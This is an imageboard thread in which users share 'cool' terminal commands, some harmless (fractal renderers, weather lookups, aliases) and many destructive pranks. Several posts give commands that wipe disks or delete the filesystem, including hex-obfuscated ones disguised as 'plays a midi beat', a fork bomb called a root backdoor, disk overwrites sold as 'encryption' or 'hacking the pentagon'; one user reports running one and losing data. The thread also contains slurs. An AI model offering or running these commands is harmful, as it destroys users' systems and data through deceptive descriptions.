What are some cool terminal commands?
you made this same thread yesterday
whoami
if you are happy and you know it syntax error
sl is the coolest
rm -rf /*
# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo “You live”
>>59246530
works on my mac
delete system32
>>59246505
screenfetch
perl -e 'for(-21..20){$y=$_/20;for(-60..18){$r=($x=$_/30);$i=$y;for(1..99){$t=$r;$r=$r**2-$i**2+$x;$i=$t*$i*2+$y}if($r**2+$i**2<4){print"*"}else{print$"}}print$/}'
>>59246505
sudo apt-get install gentoo
sudo $(echo "64642069663d2f6465762f7a65726f206f663d2f6465762f73646120636f756e743d3130302062733d314d0a" | xxd -r -p)
plays a midi beat.
>>59246560
Nice!! Really nice!!
cd code
cd..
>>59246588
MODS
>>59246588
>concatenate_string('hello','world')
ITT /g/ proves being /b/
Kirk to Enterprise....
>>59246530
Works on my Ubuntu
>>59246530
>no sudo
function fractal {
local lines columns colour a b p q i pnew
((columns=COLUMNS-1, lines=LINES-1, colour=0))
for ((b=-1.5; b<=1.5; b+=3.0/lines)) do
for ((a=-2.0; a<=1; a+=3.0/columns)) do
for ((p=0.0, q=0.0, i=0; p*p+q*q < 4 && i < 32; i++)) do
((pnew=p*p-q*q+a, q=2*p*q+b, p=pnew))
done
((colour=(i/4)%8))
echo -n "\\e[4${colour}m "
done
echo
done
}
>> bashrc/zshrc
>>59247210
>sudo -s isnt the first command he types in his terminal
casul
>>59247508
bash: ((: b=-1.5: syntax error: invalid arithmetic operator (error token is ".5")
curl "https://s3.amazonaws.com/fizzbuzz/output"
curl -s wttr.in/Denver
curl -s wttr/<your-city-here> |head -7
>>59247624
How much do you pay for amazon aws?
>>59247722
It's not my account, I don't use AWS.
function fractal {
local lines columns colour a b p q i pnew
((columns=COLUMNS-1, lines=LINES-1, colour=0))
for ((b=-1.5; b<=1.5; b+=3.0/lines)) do
for ((a=-2.0; a<=1; a+=3.0/columns)) do
for ((p=0.0, q=0.0, i=0; p*p+q*q < 4 && i < 32; i++)) do
((pnew=p*p-q*q+a, q=2*p*q+b, p=pnew))
done
((colour=(i/4)%8))
echo -n "\\e[4${colour}m "
done
echo
done
}
in zshrc for me gives pic related
>>59247746
lewd
>>59246537
Russian Roulette
chattr +i filename
makes the file immutable so you can't delete/modify it even as root
>>59246576
Yeah, it plays Super mario cart. Nice try faggot.
>>59246510
>being here everyday
>>59247557
>being this retarded
Only a casual would be retarded enough to run rm -rf /*, and they won't be running on a root shell.
>>59246505
espeak kill yourself
>>59248781
If I didn't come here every day, I might miss important memes
>>59246537
>>59247784
don't forget sudo, otherwise you're playing with the safety on
:(){:|:&};:
This command uses linus torvald's backdoor to root access any linux system.
>>59249138
https://www.youtube.com/watch?v=x72UVwm6pDY
>>59246505
automatic system encryption using a one-time pad(strongest known encryption):cat /dev/urandom > /dev/sda
>>59246505
rm -rf /home
>>59246537
that's pretty nice!
for i in {0..255} ; do tput bold; tput setaf "$i"; echo -en "$USER@$(uname -n):~$ "; tput sgr0; echo -n "PS1='\[\$(tput bold)\$(tput setaf "; echo -n "$i"; echo ")\]\\u@\\h:\\w:\\$ \\[\$(tput sgr0)\\]'"; done
this thread's tl;drnuke pc
$howdoi
$lsof -P -i -n
$youtube-dl --extract-audio -audio-format mp3
$mosh
$tmux
$vim
>>59253731
also http://terminalsare.sexy/
>>59246576
Improved version:echo -n 7375646f20726d202d7266202d2d6e6f2d70726573657276652d726f6f74202f | xxd -r -p -
>>59246560
wow, this is awesome
>>59246505
time cat /dev/urandom | grep nigger
See how long it takes to find a nigger
>>59246575
Kek
>>59246505/chkdsk.
alsamixer
mount /dev/sdxx /mnt/media
cd /mnt/media/windows\ 7\ files/music
ls
cd nirvana
mocp about\ a\ girl
>> unknown file type .wma
>>59246505
!!
coolest command ever
>>59249182for i in /dev/sd*; do sudo sh -c "cat /dev/zero > $i"; done
FTFY
$ type $(compgen -a | grep ^l)
l is aliased to `ls -CF'
l. is aliased to `ls -d .*'
la is aliased to `ls -A'
ll is aliased to `ls -alF'
ls is aliased to `ls --color=auto --group-directories-first'
>>59249157
https://srs.gnu.moe/list/index.html
>>59254131
l. -lh | grep drwx
ls (hidden folders only pls)
>>59254128
>!!
info history 'Event Designators'
>>59249182
>>59254128
>2017 in the year of our Lord and Savior Jesus Christ
>using cat or dd or any IO based command to encrypt or destroy data
Use hdparm.
>>59254310
>info
Die. You are GNU scum.
>>59254397
found the cuck.
>>59254310
The quick substitution should be easier.
Having fun running all of these without the standard fear of running random commands off 4chan. Thanks docker
>>59254397
>>hdparm
>believing the HDD jew
/dev/zero or nothing. your firmware will probably tell you "yes goy, your data has been wiped" and proceed to write nothing at all.
>>59254427
>calling me a cuck
>using `info`
Interesting cognitive dissonance there.
>cool command terminal command
If you have a server with root access and some user is SSHed in other than you, as root:
>lsof | grep the_user
and look at the output for non-device paths. You can usually tell right away what they are doing. Then:
>write the_user
>hey faggot, get out of the_path
>ctrl+d
People think SSH makes them invisible. It doesn't. On some systems, you don't need root even for the `lsof` either.
#!/bin/bash
echo -e "\033[2J\033[?25l"; R=`tput lines` C=`tput cols`;: $[R--] ; while true
do ( e=echo\ -e s=sleep j=$[RANDOM%C] d=$[RANDOM%R];for i in `eval $e {1..$R}`;
do c=`printf '\\\\0%o' $[RANDOM%57+33]`
$e "\033[$[i-1];${j}H\033[32m$c\033[$i;${j}H\033[37m"$c; $s 0.1;if [ $i -ge $d ]
then $e "\033[$[i-d];${j}H ";fi;done;for i in `eval $e {$[i-d]..$R}`; #[mat!rix]
do echo -e "\033[$i;${j}f ";$s 0.1;done)& sleep 0.05;done
>>59254501
Why would ssh make someone invisible? You're still logging into the system, which would leave traces in logs somewhere. As evidenced by you.
Why would using 'info' make someone a cuck? I'm pretty new to linux and I don't get most of the political stuff.
>>59254452
What if you can see what all these do (or are supposed to do) without actually doing them?
>>59247675
Thanks for sharing, actually neat for my terminal setup and works with my norwegian obscure city!
>>59254605
Ideal.
But that mandelbrot perl script >>59246560 I don't really want to try to read.
cal 9 1752
>>59246505screenfetch | cowsay | lolcat
>>59254687
https://unix.stackexchange.com/questions/17903/is-cal-broken-what-happened-in-september-1752
nice, also interesting to learn something from /g/, seeing how most people in this board/site are retards or just trolls. I don't think I've ever learned something meaningful here, t-b-h
>>59254802
>Browsing 4chan to learn something meaningful
kys
>>59254444
the long form you can use other delimiters btw.
!!:s/old/new
!!:s-old-new
sudo shutdown -r now
>>59254988
I don't... but you can always learn something from random sources... that is, except in 4chan
echo "#include<iostream>">hax.cpp;echo "int main(){while(1){int*i=new int();std::cout<<\"Doing Crazy HAXX0R Stuff \"<<&(*i)<<std::endl;}return 0;}">>./hax.cpp;g++ -v -o hax ./hax.cpp; ./hax
leaking 4-5MB/s on my machine
>>59255288
>multiple echos
>notecho -e "...\n..."
rm -fr
>>59246537
Guess today I am lucky, thou some systems are preventing stupid users from doing stupid things. I lost a roulette once on my company's machine with rhel 6 and it turned out that system refused to fuck itself up. Don't remember how thou. Alias on rm maybe.
>>59246576
Fuck, you got me scared. Good one.
>>59247508
wow that is pretty cool
is there any way to add zoom function?
>>59255904
Did you run it? If so, I hope you use efi.
>>59246576
LOL
very nice anon
>>59254397
>responding to shitposts
>the irony is not lost on me
>>59246576
I admit it. I am a fag. I copied it like a bitch and didn't notices 'sudo'. I guess that was dd wasn't it?
What did I purged and is it reversible?
>>59256788
It will delete the first 512 bytes (MBR) of your main disk and an additional 10 Megs of the root partition. Good luck!
>>59256788
>copied the sudo
You never go full retarded
>>59256849
Thanks for explaining. I just finished converting the hexes. Fuck MBR, that's a non issue but let's say I have /home at sda3 > first 100M. Will I be able to retrieve the data? I guess the partition table is fucked since fdisk doesn't report partitions.
>>59256952
You can recover it I'm sure but I'm in the dark as to how.
>>59256997
Ok, thanks for the info. Will do it tomorrow. Good night /g/.
>>59256952
not him, but AFAIU, depends on your partition layout... if the 1st partition was in the first 100MB (it probably was), then I guess your 1st partition is fucked. if that partition was /boot or the UEFI partition, then that shouldn't be a problem
for the other partitions, there are tools that will automatically recognize your layout, BUT, depending on the size of your HDD, that will take some time
hope you learned your lesson: don't run random commands from random websites
>>59256952
>>59257047
>>59257048
https://www.linuxjournal.com/magazine/hack-and-when-disaster-strikes-restoring-master-boot-record
script my_bash_session.log
ls -lh
exit
clear
more my_bash_session.log
^more^cat
>>59246505touch fluffy | tail
>>59257048
Yes, lesson learned.
>>59257093
Thanks for input both of you.
>>59255861
>user is "me"
kys
>>59246576
coo
>>59258531
>kys
kys
>>59255861
Some systems require --no-preserve-root in order to execute the command "rm -rf /" IIRC
>>59253806
>>59246576
Nice!
>>59246607
kek
>>59253731
>vim
lel
>>59246576
fuckin lol'd
>>59249061
>#
He's already root
$ time read
<ctrl-d>
>>59247746
Bash:for((P=10**8,Q=P/100,X=320*Q/(`tput cols`-1),Y=210*Q/`tput lines`,y=-105*Q,v=-2\
20*Q,x=v;y<105*Q;x=v,y+=Y));do for((;x<P;a=b=i=k=c=0,x+=X));do for((;a*a+b*b<2*\
P*P&&i++<99;a=((c=a)*a-b*b)/P+x,b=2*c*b/P+y));do :;done;(((j=(i<99?i%16:0)+30)>\
37?k=1,j-=8:0));echo -ne "\E[$k;$j"mE;done;echo -e "\E[0m";done #Charles Cooke
printf '\ec\e[?25l';a=(. + o); while :; do printf '\e[38;5;%sm\e[%s;%sf%*s\e[m' \
$((RANDOM%7+230)) $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%COLUMNS)) \
${a[RANDOM%5]}; read -n 1 -t 0.01 && { printf '\e[?25h\ec'; break; }; done # fglt
>>59260292
One more. Langtons Ant made by the same guy:echo -ne "\033#8";X=`tput cols`;Y=`tput lines`;((a=$X/2));((b=$Y/2));d=1;while \
case $d in 0)((a=a<2?X:a-1));;1)((b=b<2?Y:b-1));;2)((a=a==X?1:a+1));;3)((b=b==Y\
?1:b+1));; esac;do ((c=b+a*X));v=${k[c]:- };[ $v. = @. ]&&{((d=d>2?0:d+1));k[c]\
="";}||{(( d=d<1?3:d-1));k[c]=@;};echo -ne "\033[$b;${a}H$v";done #Charles Cooke
>>59260446
kek
>>59254691
cool, looks better withcowsay -n
>>59260292
Omg
rm -rf --no-preserve-root /
It hacks the pentagon, try it now and brag about it on tumblr! =^)
>>59265659
wount work without sudo, retard
why everybody gets this wrong
cat /dev/random > /dev/fb0
'while [ 1 ]; do printf \\u$[2571+RANDOM%2]; done'
>>59265684
Pentagon doesn't use sudo.
>>59246576
Ohh shit this is amazing!
>>59265684
>login as root
su -
>>59246537
sheeit
>>59247557
Not using
Sudo su
>>59246537
>Computer Russian Roulette
Nice
>>59255504
>not echo "stuff
>more stuff"
>>59255650
Why does this look so wrong?
>>59253731
>youtube-dl --extract-audio -audio-format mp3
I tend to alias this to youtube-mp3 in .bashrc:alias youtube-mp3='youtube-dl --extract-audio --audio-format mp3'
So I can run it simply as:youtube-mp3 https://www.youtube.com/watch?v=JgYNBvIw3O8
>>59267536
>Not using sudo -i
>>59268949
>not doing sudo su -